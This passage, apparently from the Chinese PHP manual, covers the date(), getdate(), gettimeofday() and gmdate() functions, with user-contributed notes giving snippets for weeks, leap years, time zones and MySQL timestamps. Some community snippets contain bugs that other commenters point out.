       $startdate = mktime(0,0,0,date("m",$startdate),date("d",$startdate)-1, date("Y",$startdate));
   }
   while(date("D",$enddate) != $endDay){
       $enddate = mktime(0,0,0,date("m",$enddate),date("d",$enddate)+1, date("Y",$enddate));
   }

   return array('start' => date('l d/m/y', $startdate),
                 'end'  => date('l d/m/y', $enddate));

   return $aPeriod;
}
erwinmoller at xs4all dot nl
05-Jan-2006 08:34
If you need dates that are prior to 1970 (or 1901 for php5.1), have a look at calendar at this very site:
http://www.php.net/calendar
martin dot m at hid dot gr
20-Dec-2005 12:25
"It worked ok, except I noticed it had some trouble if you were spanning months, (i.e. 03-29-2005 to 04-10-2005)"

this is the (Daylight Saving Time ) problem. you can check if the start date and the end date are
whether or not in daylights savings time by using
date('I',$your_date) and to add or decrease with one hour.
Nick H
24-Nov-2005 10:21
Users in GMT may find some information on British Summer Time useful. Personally I was confused that date() for a timestamp of 0 was returning 1am, until I found about the all-year BST from 1968-71.

http://wwp.greenwichmeantime.com/info/bst2.htm
itsacon at itsacon dot net
16-Nov-2005 06:28
Caveat when using the 'W' and 'w' options together:

The 'W' option uses the ISO-8601 standard (week ends on sunday), whereas the 'w' option has the week _start_ on sunday (sunday == 0).
vernon at vernonkesner dot com
03-Nov-2005 01:37
The examples for getting a date in the past or future is simply not the best way to do it.  Especially if you are doing it dynamically.

I find the best way to get a date in the past or future is like this:

<?php
//get timestamp for past/future date I want
$pf_time = strtotime("-3 days");
//format the date using the timestamp generated
$pf_date = date("Y-m-d", $pf_time);
?>
martin at kurahaupo dot gen dot nz
31-Oct-2005 05:52
There is a mistaken impression that the maximum difference between UTC and localtime is +/- 12 hours. Right now it is summer here in New Zealand, and we're 13 hours ahead of UTC, and further east in the Chatham Islands it's UTC+13:45.

Consequently, the range for the "Z" conversion is at least -43200 ... +49500
mbirth at webwriters dot de
25-Oct-2005 06:24
Using 'B' for the Swatch Internet Time (i.Beats) can still lead to misunderstandings, because the date given in the resulting string is the local date, not the date of the BMT (Biel Mean Time / UTC+0100) after which the i.Beats are counted. So while @000 is equal all around the globe, October 25th 2005 @000 in Chicago is really October 24th, 06:00 PM local time.

Otherwise, if you use date('d M Y @B') in Chicago on that day at 6pm, it will return "24 Oct 2005 @000" although it should be "25 Oct 2005 @000".

So it may happen that you miss an appointment by 24 hours (or 1000 Beats ;-)

Here's a way to return the Internet Time with correct date:

<?php
  $curtime = time();
  $utcdiff = date('Z', $curtime);  // get difference to UTC in seconds
  $bmttime = $curtime - $utcdiff + 3600;  // BMT = UTC+0100
  $ssm = date('H', $bmttime)*3600 + date('i', $bmttime)*60 + date('s', $bmttime);  // seconds since midnight (BMT)
  $ibeats = $ssm/86.4;  // 86400 seconds = 1000 beats, so 1 beat = 86.4 seconds

  echo 'i.Beats    : ' . date('D, d M Y', $bmttime) . ' @' . $ibeats;
?>

Note: If you would try date('D, d M Y @B', $bmttime), the resulting beats would be wrong because the timezone used for calculation of the beats within the date() function is still your local one but the timestamp is UTC+0100. Another working way would be:

<?php
  $curtime = time();
  $utcdiff = date('Z', $curtime);  // get difference to UTC in seconds
  $bmttime = $curtime - $utcdiff + 3600;  // BMT = UTC+0100

  echo 'i.Beats    : ' . date('D, d M Y', $bmttime) . ' @' . date('B', $curtime);
?>

But this way there are no floating-point beats possible, which may be handy sometimes.
mendoza at pvv dot ntnu dot no
14-Oct-2005 01:38
At "daykay at pdsoftware dot de":

09 != 9 so there's nothing wrong about European vs. American formats.

$ php -r 'print 09; print "\n"; print 9; print "\n";'
0
9

09 is treated as octal and since octal numbers only use the 0-7 digits, it evaluates to 0. All numbers prefixed with 0 are considered octal just as 0x are considered hexadecimal.

http://en.wikipedia.org/wiki/Computer_numbering_formats
jim at catsanddogs dot com
12-Oct-2005 06:52
To get the start date for a working week:

<?php

list($iDay, $iMonth, $iYear) = split('-', date('d-m-Y', mktime(0, 0, 0, date('n'), ((date('j')+1)-date('w')), date('Y'))));

return $iDay.'-'.$iMonth.'-'.$iYear;

?>
kbrill at multi dot com
15-Sep-2005 11:27
I created a routine that fills an array with the dates in the current week.  For example $WeekDays[0] is sunday's date, $WeekDays[1] is monday's date and so on no matter what day of the week it is today.

<?php
       $lowEnd=date("w");
       $lowEnd=-$lowEnd;
       $highEnd=$lowEnd + 6;
       $weekday=0;
       for ($i=$lowEnd; $i<=$highEnd; $i++) {
           $WeekDate[$weekday]=date("m/d",mktime(0, 0, 0, date("m")  , date("d")+$i, date("Y")));
           $weekday++;
       }
?>
webmaster [AT] gn-solutions [DOT] de
07-Sep-2005 07:19
For users who want a different language than english, you can user strftime() function in combination with setlocale() instead of date():

e.g. for german language:

With date you would write:
<?php
echo date('l, d. F Y'); //Output: Wednesday, 07. September 2005
?>

With strftime() you can output it in german like this:
<?php
// Set the gloabal LC_TIME constant to german
setlocale(LC_TIME, 'de_DE');
// Little bit other Syntax but better effect
echo strftime('%A, %d. %B %Y'); //Output: Mittwoch, 07. September 2005
?>

Greetings, Andy!
steve at somejunkwelike dot com
17-Aug-2005 02:01
re: Paul_liversidge...

This is a way to get the next 10 business days, by comparing the day of the week to not be saturday or sunday.  change the top two variables to get various different results...  if you want to get the next 10 business days, starting in two days from today, change the first variable to 2, and the second to 14.  This should yield the next 10 working days.

<?php

$how_many_business_days_ahead = 0;
$how_many_business_days_to_count = 7;

for ($i=0;$i<$how_many_business_days_to_count;$i++)
   {
   $jump=$i+$how_many_business_days_ahead;
   $evalday = mktime(strftime ("%d/%m/%Y", strtotime("+$jump days")));
   $theday = strftime("%A", strtotime("+$jump days"));
   if($theday != "Saturday" and $theday != "Sunday")
       {
       $days = $how_many_business_days_ahead+$i;
       $the_days[$j] = strftime("%A, %B %d, %Y", strtotime("+$jump days"));
       $j++;
       }
   }

   $k = $how_many_business_days_ahead;

   foreach($the_days as $eachday)
       {
       echo "$k business days from now = $eachday<br />";
       $k++;
       }

?>

results:

0 business days from now = Tuesday, August 16, 2005
1 business days from now = Wednesday, August 17, 2005
2 business days from now = Thursday, August 18, 2005
3 business days from now = Friday, August 19, 2005
4 business days from now = Monday, August 22, 2005
Rob Muhlestein
06-Aug-2005 01:48
All functions that have anything to do with the internal 32-bit constrained time() system call will have this same limitation. Hopefully we'll be 64 bit by long before then, although this already creating problems with UNIX internals.
ove at junne dot dk
03-Aug-2005 02:39
I seems to me that we're rapidly apporaching another Y2K event. The date-function only handles dates up to 2038, and this is only some 30 years away. Even today is it impossible to use date() to represent my children's 50 years birthday.

Just think about it, when you're designing your code.

[ed.: This limitation is gone in PHP 5.1 and higher, although PHP itself limits integers still to 32bit]
stuff at rushsoft dot de
30-Jun-2005 05:13
ISO 8601:2000 defines:
[...] day of the year is represented by three decimal digits. The first day of any year is represented by [001] and
subsequent days are numbered in ascending sequence [...]

So don't forget increasing the return value of date("z") by one to be ISO conform, if you use this, for instance, on presentation level.
witcho at gmail dot com
08-Jun-2005 12:22
When using 'z' it should be used as how many days have passed since the beginning of the year; not as the day of the year.
"January 1" is the day 1 of the year not the day 0.
Better to add 1 when using 'z' if you really want to know the day of the year.
justin at drunkatgt dot com
04-Jun-2005 11:24
In response to pmcdevitt(at)cesales.com:

If you just want to find out what last month was, try
$lastmonth=mktime(0,0,0,date("m")-1,1,date("Y"));
$lastmonth= date("M", $lastmonth);

There is no reason to use the day of the month to determine the revious month.  And every month has a 1st.  You could even through an arbitrary year in there to save a fraction of a calculation.
MG_Peter at o2 dot pl
30-Apr-2005 08:05
easy way - to convert a "datetime" form mySQL into php date format....
first - get the array form mySQL, then use

<?php
date("d M Y H:i:s", strtotime($your_row['lastlogin_date']))
?>

strtotime - easy converts a datetime timestamp into time  ( time() or date("U")).
llewellyntd at gmail dot com
29-Apr-2005 08:50
Here is a very easy way to get the difference, in days, between two dates:

$days = (strtotime("2005-12-31") - strtotime(date("Y-m-d"))) / (60 * 60 * 24);
print $days;
rcrodgers622 at gmail dot com
26-Mar-2005 02:08
Regarding dolso at elastech dot it's note, it's actually easier to use the 't' item to get the last day of any given month.

echo 'February ' . date('t',mktime(0,0,0,2,1,2004)) . ' is the last day of February 2004';
//Displays "The February 29 is the last day of February 2004"

The actual day of the month specified in mktime() is irrelevant, but it's best and safest to use a day that won't alter the results such as the first of the month.
jon AT standardise DOT us
16-Feb-2005 12:57
Don't forget that months start on the 1st day, and not a zero date.  Might seem obvious but:

$test = date("F Y", mktime(0, 0, 0, 12, 0, 2005));

Will return November 2005, not December.

$test = date("F Y", mktime(0, 0, 0, 12, 1, 2005));

The 1st is needed to get the right month.
ag nodot nospam at netside dot de
28-Jan-2005 11:19
Calculus of weeks in a year.

Since there is date("W") many still seem to have a problem regarding how many weeks there are in an year. Some rather complex solutions have been shown here.

It's defined, that a week which begins in december and ends in january the following year belongs to the year where most of its days lie. Therefore a week with at least 4 days in december is the last week of that year and a week with at least 4 days in january is the first week in the new year.

This concludes, that the last week of a year always contains the 28th day of december. So if you take date("W") on that day of a given year you always get the correct number of weeks for that year.
The other end of that definition is that the 4th day of january always lies in the first week of a year.

I hope this solves a lot of confusion.

(For those asking what all this fuzz about counting weeks is about: normally theres 52 weeks in a year but sometimes its 53 weeks in a year)

I wrote it down as a function, but as this is rather trivial one might consider using the date(...) only.

function weeks($year) {
   return date("W",mktime(0,0,0,12,28,$year));
}
milad[at]rastian[dot]com
24-Dec-2004 05:40
All irainain who want use Jalali Date:
see this site : http://jdf.farsiprojects.com
I create function such as date in php
php at document-root dot de
15-Apr-2004 01:02
To convert an unix timestamp to suite the syntax of a GeneralizedTime attribute for OpenLDAP, you can use
date ('YmdHiZO'). Note that this conversion uses local time, the recommended way is to store dates in UTC.

If your date is in UTC, just use
date ('YmdHiZ').'Z' to convert it ("Z" stands for "Zulu", which is UTC).
daniel
18-Feb-2004 06:43
The following function will return the date (on the Gregorian calendar) for Orthodox Easter (Pascha).  Note that incorrect results will be returned for years less than 1601 or greater than 2399. This is because the Julian calendar (from which the Easter date is calculated) deviates from the Gregorian by one day for each century-year that is NOT a leap-year, i.e. the century is divisible by 4 but not by 10.  (In the old Julian reckoning, EVERY 4th year was a leap-year.)

This algorithm was first proposed by the mathematician/physicist Gauss.  Its complexity derives from the fact that the calculation is based on a combination of solar and lunar calendars.

<?
function getOrthodoxEaster($date){
  /*
   Takes any Gregorian date and returns the Gregorian
   date of Orthodox Easter for that year.
  */
  $year = date("Y", $date);
  $r1 = $year % 19;
  $r2 = $year % 4;
  $r3 = $year % 7;
  $ra = 19 * $r1 + 16;
  $r4 = $ra % 30;
  $rb = 2 * $r2 + 4 * $r3 + 6 * $r4;
  $r5 = $rb % 7;
  $rc = $r4 + $r5;
  //Orthodox Easter for this year will fall $rc days after April 3
  return strtotime("3 April $year + $rc days");
}
?>
add a note add a note

后退 | 起点 | 前进
date_sunset | 上一级 | getdate


getdate

(PHP 3, PHP 4, PHP 5)

getdate -- 取得日期／时间信息

说明

array getdate ( [int timestamp] )

返回一个根据 timestamp 得出的包含有日期信息的结合数组。如果没有给出时间戳则认为是当前本地时间。数组中的单元如下：

表格 1. 返回的关联数组中的键名单元

键名 | 说明 | 返回值例子
"seconds" | 秒的数字表示 | 0 到 59
"minutes" | 分钟的数字表示 | 0 到 59
"hours" | 小时的数字表示 | 0 到 23
"mday" | 月份中第几天的数字表示 | 1 到 31
"wday" | 星期中第几天的数字表示 | 0（表示星期天）到 6（表示星期六）
"mon" | 月份的数字表示 | 1 到 12
"year" | 4 位数字表示的完整年份 | 例如：1999 或 2003
"yday" | 一年中第几天的数字表示 | 0 到 365
"weekday" | 星期几的完整文本表示 | Sunday 到 Saturday
"month" | 月份的完整文本表示 | January> 到 December
0 | 自从 Unix 纪元开始至今的秒数，和 time() 的返回值以及用于 date() 的值类似。 | 系统相关，典型值为从 -2147483648 到 2147483647。

例子 1. getdate() 例子

<?php
$today = getdate();
print_r($today);
?>

上例的输出类似于：

Array
(
    [seconds] => 40
    [minutes] => 58
    [hours]   => 21
    [mday]    => 17
    [wday]    => 2
    [mon]     => 6
    [year]    => 2003
    [yday]    => 167
    [weekday] => Tuesday
    [month]   => June
    [0]       => 1055901520
)

参见 date()，time() 和 setlocale()。

add a note add a note User Contributed Notes
John Sherwood
15-May-2006 02:10
In response to the "Simple routine for determining whether a date in mySQL format has gone past":

function pastdate($t)
{
   if (strtotime($t) < time())
     return false;
   return true;
}

or you could use

mysql_select("SELECT UNIX_TIMESTAMP(fieldname) FROM tablename"), which would give you the date in seconds since unix epoch, and which you could compare to time().
king_of_t3rrors at hotmail dot com
29-Apr-2006 12:55
The function below is also wrong :)

This one is right ( I promise ):

{
  $today = getdate() ;

  $datebits=explode('-',$date);

  $year = intval($datebits[strpos($formato, 'y')]);
  $mon = intval($datebits[strpos($formato, 'm')]);
  $day = intval($datebits[strpos($formato, 'd')]);

  $y=0; $m=0;
   if ( $today['year'] > $year ) {
       $y=1 ;
   }
   if ( $today['mon'] > $mon ) {
       $m=1;
   }
   if ( $y==1 || $m==1 ) {
       return true; //past date
   }
   if ( $today['year'] == $year ) {
       if ( $today['mon'] > $mon ) {
           return true; //past date
       }
         if ( $today['mon']==$mon ) {
             if ( $today['mday'] > $day ) {
                 return true; //past date
             }
         }
   }
   return false;
}
king_of_t3rrors at hotmail dot com
27-Apr-2006 08:12
This is a correction of the note posted on 27-Feb-2006 03:29:

"Simple routine for determining whether some date given
 in MySQL format (yyyy-mm-dd) has gone past."

I think that code was wrong.

My code is:

function is_past( $date,$format )
// When calling this function remember:
// $date format: yyyy-mm-dd
// $format--> insert 'ymd' as second argument
{
  $today = getdate() ;

  $datebits=explode('-',$date);

  $year = intval($datebits[strpos($format, 'y')]);
  $mon = intval($datebits[strpos($format, 'm')]);
  $today = intval($datebits[strpos($format, 'd')]);

   if ( $today['year'] > $year ) {
       return false ;
   }
   if ( $today['mon'] > $mon ) {
       return false;
   }
   if ( $today['mday'] > $today ) {
       return false;
   }
   return true;

}
Cas_AT_NUY_DOT_INFO
04-Mar-2006 09:47
// This functions calculates the next date only using business days
// 2 parameters, the startdate and the number of businessdays to add
   function calcduedate($datecalc,$duedays) {
   $i = 1;
   while ($i <= $duedays) {
       $datecalc += 86400; // Add a day.
       $date_info  = getdate( $datecalc );
       if (($date_info["wday"] == 0) or ($date_info["wday"] == 6) )  {
           $datecalc += 86400; // Add a day.
           continue;
       }
       $i++;
   }
   return $datecalc ;
   }
27-Feb-2006 10:29
Simple routine for determining whether some date given in MySQL format (yyyy-mm-dd) has gone past.  E.g., has a membership expired or a special offer gone stale.

function is_past( $date )
{
   $today = getdate() ;
   $yyyy = intval(substr($date,0,4)) ;
   $mm = intval(ltrim(substr($date,5,2),'0')) ;
   $dd = intval(ltrim(substr($date,8,2),'0')) ;
   if ( $today['year'] > $yyyy ) return true ;
   if ( $today['year'] < $yyyy ) return false ;
   if ( $today['mon'] > $mm ) return true ;
   if ( $today['mon'] < $mm ) return false ;
   if ( $today['mday'] > $dd ) return true ;
   return false ;
}
WAYLER - suwala at timpadd dot pl
09-Feb-2006 08:13
I think this is better method to calculate day difference between two timestamps:
<? php
   if( $first_timestamp > $second_timestamp )
   {
       die('Reverse timestamps');
   }
   else
   {
       $first_date  = getdate( $first_timestamp );
       $second_date = getdate($second_timestamp);
       $years_between = $second_date['year'] - $first_date['year'];
       if($years_between==0)
       {
           $days_between = $second_date['yday'] - $first_date['yday'];
       }
       if($years_between>0)
       {
           $start_year = 365;
           $count_365_years = 0;
           $count_366_years = 0;
           if($first_date['year']%4==0) $start_year = 366;
           for($i = 1; $i<=$years_between-1; $i++)
           {
                 if(($first_date['year']+$i)%4==0) $count_366_years++;
                 else{ $count_365_years++; }
           }
           $days_between = $start_year - $first_date['yday'] + 365*$count_365_years + 366*$count_366_years + $second_date['yday'];
       }
   }

?>

Should works every time :)
mbaart at planet dot nl
28-Jan-2006 09:34
A simple way to calculate the days between to timestamps:

<?php
   if( $first_timestamp > $second_timestamp )
   {
       die('Reverse timestamps');
   } else
   {
       $first_date  = getdate( $first_timestamp  );
       $second_date = getdate( $second_timestamp );
       $days_in_between = ($second_date['year']-$first_date['year'])*365 +
                           ($second_date['yday']-$first_date['yday']);
   }
?>

At least, given that every year has 365 days :)
datacompboy at river-net dot org
18-Dec-2005 12:06
Note: this function returns a gmt time, not your local.
datacompboy at river-net dot org
18-Dec-2005 12:01
Note: this function returns a gmt time, not your local.
OREN WISMAN
10-Oct-2005 04:43
add few days for today date and convert to mysql date format

<?php
   $days_2_add = 2;
   $expired  = mktime(0, 0, 0, date("m"), date("d")+$days_2_add, date("Y"));
   $expired  = date("Y-m-d",$expired);

?>
timtaler [at] mailueberfall [dot] de
12-Sep-2005 11:35
# very nice function to check for a leap year
$arr_date = getdate();
$jahr = $arr_date['year'];
if ( $jahr % 4 == 0 ){
   if ( $jahr % 100 == 0 ){
       if ( $jahr % 400 == 0 ){
           $ydays = 366;
       }
       else{
           $ydays = 365;
       }
     }
     else{
       $ydays = 366;
     }
}
else{
   $ydays = 365;
}
$one_year = ($ydays * 24 * 60 * 60);  # create a int varibale for one year
leo25in at yahoo dot com
11-May-2005 08:17
getting weekday(actual date) from any give date.

function cal_date($wday,$tstamp)
{
   return $tstamp-($wday*(24*3600));
}

function getweekday($m,$d,$y)
{
   $tstamp=mktime(0,0,0,$m,$d,$y);

   $Tdate = getdate($tstamp);

   $wday=$Tdate["wday"];

   switch($wday)
   {
       case 0;
       $wstamp=cal_date($wday,$tstamp);
       //echo date("Y-m-d",$wstamp);
       break;

       case 1;
       $wstamp=cal_date($wday,$tstamp);
       //echo date("Y-m-d",$wstamp);
       break;

       case 2;
       $wstamp=cal_date($wday,$tstamp);
       //echo date("Y-m-d",$wstamp);
       break;

       case 3;
       $wstamp=cal_date($wday,$tstamp);
       //echo date("Y-m-d",$wstamp);
       break;

       case 4;
       $wstamp=cal_date($wday,$tstamp);
       //echo date("Y-m-d",$wstamp);
       break;

       case 5;
       $wstamp=cal_date($wday,$tstamp);
       //echo date("Y-m-d",$wstamp);
       break;

       case 6;
       $wstamp=cal_date($wday,$tstamp);
       //echo date("Y-m-d",$wstamp);
       break;
   }

     $w["day"]=date("d",$wstamp);
     $w["month"]=date("m",$wstamp);
     $w["year"]=date("Y",$wstamp);

     return $w;

}
ahigerd at stratitec dot com
06-Apr-2005 05:05
The comment below about getdate() being insensitive to LOCALE is simply incorrect:

<?php print_r(getdate(0)); ?>

Array
(
   [seconds] => 0
   [minutes] => 0
   [hours] => 18
   [mday] => 31
   [wday] => 3
   [mon] => 12
   [year] => 1969
   [yday] => 364
   [weekday] => Wednesday
   [month] => December
   [0] => 0
)

Note that I'm in CDT at the moment.
davidhc at gmail dot com
21-Jan-2005 04:55
function getDateForMysqlDateField() {
   $date = getDate();
   foreach($date as $item=>$value) {
       if ($value < 10)
           $date[$item] = "0".$value;
   }
   return $date['year']."-".$date['mon']."-".$date['mday']." ".$date['hours'].":".$date['minutes'].":".$date['seconds'];
}
pascal dot bonderff at wanadoo dot fr
06-Nov-2004 04:32
Note that this fonction doesn't care about LOCALE settings. use strftime insteand
Liis make
16-Sep-2004 06:22
function win2unix($date_string,$date_timestamp)
{

   $epoch_diff = 11644473600; // difference 1601<>1970 in seconds. see reference URL
   $date_timestamp = $date_timestamp * 0.0000001;
   $unix_timestamp = $date_timestamp - $epoch_diff;
   echo date($date_string,$unix_timestamp);
}
getisomonday($year, $week)
22-Apr-2004 05:58
getdate does not convert week numbers. this function relies on strftime to find a timestamp that falls on the monday of specified year and ISO week:

<?php function getisomonday($year, $week) {
       # check input
       $year = min ($year, 2038); $year = max ($year, 1970);
       $week = min ($week, 53); $week = max ($week, 1);
       # make a guess
       $monday = mktime (1,1,1,1,7*$week,$year);
       # count down to week
       while (strftime('%V', $monday) != $week)
               $monday -= 60*60*24*7;
       # count down to monday
       while (strftime('%u', $monday) != 1)
               $monday -= 60*60*24;
       # got it
       return $monday;
} ?>
Yura Pylypenko (plyrvt at mail dot ru)
15-Sep-2003 09:29
In addition to canby23 at ms19 post:
It's a very bad idea to consider day having 24 hours (86400 secs), because some days have 23, some - 25 hours due to daylight saving changes. Using of mkdate() and strtotime() is always preferred. strtotime() also has a very nice behaviour of datetime manipulations:
<?php
echo strtotime ("+1 day"), "\n";
echo strtotime ("+1 week"), "\n";
echo strtotime ("+1 week 2 days 4 hours 2 seconds"), "\n";
echo strtotime ("next Thursday"), "\n";
echo strtotime ("last Monday"), "\n";
?>
intronis
12-Sep-2003 02:04
When adding a timestamp to a database from php, be carefule because if your DB Server is a different computer than your webserver, the NOW() function in the SQL will use the DB Server's time, and not the web server's. You can use NTP to synch the times on both computers.
coolen at astron dot nl
09-Dec-2002 10:36
Yup, it does  so the getdate gives you the wrong daynumber.
using the following modification will give you the exact weeknr:

function week_of_year($nDay,$nMonth,$nYear)
{
   $date=getDate(mktime(9,0,0,$nMonth,$nDay,$nYear));
   $weeknr=floor(($date["yday"]+1)/7)+1;
   $weeknr %=52;
   return $weeknr;
}
squagmire at yaspoo dot com
18-Mar-2002 03:39
How I created a local UNIX timestamp running PHP on Windows 2000.  Similar to other functions already posted here, but I figured I'd stick my two cents in.

function get_time_at_page_load() {
   global $time_at_page_load;
   $temp = getdate();
   $time_at_page_load = $temp['year'];
   $zerofill = array
   (    'mon'        =>    '-'
   ,    'mday'        =>    '-'
   ,    'hours'        =>    ' '
   ,    'minutes'    =>    ':'
   ,    'seconds'    =>    ':'
   );
   while( list( $name, $pfix ) = each( $zerofill ) ) {
       if ($temp[$name] < 10) $temp[$name] = (string)'0'.$temp[$name];
       $time_at_page_load .= $pfix.$temp[$name];
   }
   $time_at_page_load = strtotime($time_at_page_load);
}
logan dot hall at asu dot edu
12-Mar-2002 04:32
It seems that 'yday' (the day of the year) that php produces is one less than what the unix 'date +%j' produces.

Not sure why this is, but I would guess that php uses 0-365 rather than 1-366 like unix does.  Just something to be careful of.
22-Oct-2001 07:55
Another way to map US day no to European count

function sunsat_to_monsun($wday)
{
   return ($wday + 6) % 7;
}

And a bit faster code, to calculate it directly from timestamp:

$wday = (time() % 604800 / 86400 + 3) % 7;
hfuecks at hotmail dot com
20-Aug-2001 10:36
If you wanted to find which day of the week corresponds to a particular date you could do something like this (for August 20th, 2001 - a Monday!) ;

<?

$timestamp = mktime(0,0,0,8,20,2001);
$date = getdate ($timestamp);
$dayofweek = $date['wday'];

echo ( "$dayofweek" );

?>

This returns a 1 (0 being Sunday)
ih2 at morton-fraser dot com
17-Oct-2000 08:01
To do comparisons on dates stored in mysql db against 7 days ago, 1 month ago etc use the following:
$last_week = date("Y-m-d", mktime(0,0,0, date(m), date(d)-7,date(Y)));

if($date > $last_week)
   {
     etc.
This allows for intelligent looping i.e. works at start/end of month/year
I have noticed other postings re this and they have not worked for me.Hope this helps.
zparker at rpinteractive dot com
07-Mar-2000 07:14
Re: timestamping w/ php + mysql.

If you're writing a php script and just want a quick timestamp for mysql, there's an easier method.
Create a field of type datetime, and then do the following:

insert into blah (blah, tstamp) values ('blah', NOW());
of course, if you're doing something more complex than timestamping, then you'll need to use the php method. but for timestamping, this is less hassle. ;)
ems at itg dot net
15-Feb-2000 02:28
*Note* - Month and day are NOT zero-filled, so be careful when inserting dates generated by getdate(time()) into a database.
add a note add a note

后退 | 起点 | 前进
date | 上一级 | gettimeofday


gettimeofday

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

gettimeofday -- 取得当前时间

说明

mixed gettimeofday ( [bool return_float] )

本函数是 gettimeofday(2) 的接口。返回一个关联数组，包含有系统调用返回的数据。

自 PHP 5.1.0 起有个可选参数 return_float，当其设为 TRUE 时，gettimeofday() 会返回一个浮点数。

数组中的键为：

  • "sec" - 自 Unix 纪元起的秒数

  • "usec" - 微秒数

  • "minuteswest" - 格林威治向西的分钟数

  • "dsttime" - 夏令时修正的类型

例子 1. gettimeofday() example

<?php
print_r(gettimeofday());

echo gettimeofday(true);
?>

上例的输出类似于：

Array
(
    [sec] => 1073504408
    [usec] => 238215
    [minuteswest] => 0
    [dsttime] => 1
)

1073504408.23910

add a note add a note User Contributed Notes
ricky dot blankenaufulland at leonardo dot de
27-Feb-2006 06:31
I was expecting gettimeofday would give me the number of seconds of the day. But if you access the "sec" index of the array it is identical to time() (so, unix timestamp, seconds since 1970).

So for others have to help them quicker, to get the number of seconds of the day, try this:
<?php
$t = time() % 86400;
?>
lucas dot karisny at linuxmail dot org
14-Feb-2005 10:26
A small improvement on getTimer.  Using vsprintf instead of sprintf there is no need to assign the array:

<?php
function utime()
{
  return (float) (vsprintf('%d.%06d', gettimeofday()));
}
?>

In a test on my machine getTimer took 0.037519 seconds to run through 1000 iterations versus 0.027912 seconds for utime.  In total, utime runs about 25% quicker.  The use is negligible in an actual benchmarking scenario, but this could provide a slightly more accurate estimate.  Of course the time it takes to run the function could always be stored at the start and subtracted from your total value each time it is run.
beidson at calpoly dot edu
14-Sep-2000 02:21
Since USLEEP doesn't work under windows, you need to come up with your own fix. gettimeofday() can access useconds on a windows box, so this little function using gettimeofday() will do the trick.

function wait($usecs){
 $temp=gettimeofday();
 $start=(int)$temp["usec"];
 while(1){
  $temp=gettimeofday();
  $stop=(int)$temp["usec"];
  if ($stop-$start >= $usecs) break;
 }
}

The smallest amount of time it seems to work with is around 200usecs, but if you wait() anything higher than 200usecs it's pretty close.
middleto at pilot dot msu dot edu
13-Aug-1999 10:49
The types of DST correction (from sys/time.h on a Linux system):
 0    Not on DST
 1    USA DST
 2    Austrailian DST
 3    Western European DST
 4    Middle European DST
 5    Eastern European DST
 6    Canada DST
 7    Great Britain and Eire DST
 8    Rumania DST
 9    Turkey
10    Australian DST (with shift in 1986)
add a note add a note

后退 | 起点 | 前进
getdate | 上一级 | gmdate


gmdate

(PHP 3, PHP 4, PHP 5)

gmdate -- 格式化一个 GMT/UTC 日期／时间

说明

string gmdate ( string format [, int timestamp] )

同 date() 函数完全一样，只除了返回的时间是格林威治标准时（GMT）。例如当在中国（GMT +0800）运行以下程序时，第一行显示“Jan 01 2000 00:00:00”而第二行显示“Dec 31 1999 16:00:00”。

例子 1. gmdate() 例子

<?php
echo date("M d Y H:i:s", mktime (0,0,0,1,1,2000));
echo gmdate("M d Y H:i:s", mktime (0,0,0,1,1,2000));
?>

注: 在 PHP 5.1.0 之前，负的时间戳（1970 年之前的日期）在某些系统下（例如 Windows）不能工作。

参见 date()，mktime()，gmmktime() 和 strftime()。

add a note add a note User Contributed Notes
ttech5593 at gmail dot com
29-Mar-2006 06:53
For me most of the examples here needed the + or - seconds to set the time zone. I wanted a faster way to get the time zone in seconds. So I created this :
<?php
$h = "3";// Hour for time zone goes here e.g. +7 or -4, just remove the + or -
$hm = $h * 60;
$ms = $hm * 60;
$gmdate = gmdate("m/d/Y g:i:s A", time()-($ms)); // the "-" can be switched to a plus if that's what your time zone is.
echo "Your current time now is :  $gmdate . ";
?>
It works. Hope it helps.
gefiltefishee at comcast dot net
12-Mar-2006 05:54
I was struggling with how to get my browser to output MY local time using gmdate().

I figured it out and here's what you do (ASSUMING THE SERVER IS ON GMT, If not, just echo a generic gmdate() without timezone setting and calculate the number of hours ahead or behind you are of that time, convert it to seconds and add [for ahead] or subtract [for behind] that value to time() ):

NOTE: these are US times [setlocale(LC_TIME, 'en_US')]

for Central Time (7 hours behind GMT):
gmdate("format", time()-(25200));

For Pacific Time (9 hours behind GMT):
gmdate("format", time()-(32400));

REMEMBER - THE VALUES ABOVE ASSUME THE SERVER IS ON GMT

I used the following gmdate() format:
"l, F jS, Y  g:i a"
but you can use what you like ;)

Hope this helps!
fernandobassani at gmail dot com
28-Dec-2005 09:35
If you have the same application running in different countries, you may have some troubles getting the local time..
In my case, I was having troubles with a clock created with Macromedia Flash... the time shown by the clock was supposed to be set up by the server, passing the timestamp. When I moved the file to another country, I got a wrong time...
You can use the timezone offset ( date("Z") ) to handle this kind of thing...

<?php
$timestamp = time()+date("Z");
echo gmdate("Y/m/d H:i:s",$timestamp);
?>
Sir Derek G
25-Nov-2005 03:00
Here's a nifty little function that returns a random timestamp between two dates.

<?
//////////////////////////////////////////////////////////
// Return a random timestamp between two dates (inclusive)
// Example: Tue, 08 Nov 2004 06:47:10 GMT
//
// time - Starting time string
// Valid Examples:
// 10 September 2001
// next Thursday
// last Monday
// now
//
// time2 - Ending time string
function randomTimestamp($time = "" , $time2 = "")
{
   if(!$time) $time = strtotime("10 September 2000");
   if(!$time2) $time2 = strtotime("24 November 2005");
   $timestamp = date(" D, d M Y", rand( settype($time , int) , settype($time2 , int) )); //Must be called once before becoming random, ???
   $timestamp = date(" D, d M Y", rand($time , $time2))." ";//Now it's random

   $h = rand(1,23);
   if(strlen($h) == 1 ) $h = "0$h";
   $t = $h.":";

   $d = rand(1,29);
   if(strlen($d) == 1 ) $d = "0$d";
   $t .= $d.":";

   $s = rand(0,59);
   if(strlen($s) == 1 ) $s = "0$s";
   $t .= $s;

   $timestamp .= $t." GMT";
   return $timestamp;
}
?>
faraz at gmail dot com
16-Nov-2005 12:40
Hi i was having a problem in converting a date to any time zone so I wrote my own function which coverts a given date and time to other time zone equivalent

function printByTimeZone($mytime,$mydate,$mytimezone)
{

 //assuming timezone in format +05:00 or -4:30

$conTime = $mytime;
$conDate = $mydate;

$tzonehr=substr($mytimezone,1,2);
$tzonesec=substr($mytimezone,4,2);
$sign= substr($mytimezone,0,1);

$timezone=intval($tzonehr)*60 + ( intval($tzonesec)*3600);
Switch($sign)
{
Case -:
   $timezone=$timezone*(-1);
   Break;
}

// write a method to extract your hours,min,sec,day,month,year (all should be in numeric form)

$TimeStamp= mktime($yourhours, $yourmins,$yoursecs,$yourmonth,$yourday ,$youryear ,-1);

$TimeStamp=$TimeStamp+$_GET['TimeZone'];
$GMTDateTime=gmdate("H:i:s D M d Y",$TimeStamp);
